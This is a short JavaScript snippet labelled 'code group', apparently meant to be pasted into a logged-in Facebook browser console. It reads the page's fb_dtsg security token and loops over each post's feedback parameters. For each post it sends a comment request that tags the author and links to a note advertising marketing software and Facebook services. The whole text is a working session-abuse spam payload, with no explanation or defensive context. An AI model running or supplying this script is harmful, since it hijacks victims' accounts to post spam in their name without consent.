code group

fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
array   = document.getElementsByName('feedback_params');

for (var i = 0; i < array.length; i++) {
	json = JSON.parse(array[i].value);
	content = "@[" + json.actor + ":AA] oi  https://www.facebook.com/notes/tr%E1%BA%A7n-th%E1%BB%8Bnh-l%C3%A2m/cung-c%E1%BA%A5p-ph%E1%BA%A7n-m%E1%BB%81m-marketing-online-v%C3%A0-c%C3%A1c-d%E1%BB%8Bch-v%E1%BB%A5-facebook/1431230003838333";
	request = new XMLHttpRequest();
	request.open("POST", "/ajax/ufi/add_comment.php");
	request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	request.send('ft_ent_identifier=' + json.target_fbid + '&comment_text=' + content + '&client_id=1&fb_dtsg=' + fb_dtsg);
}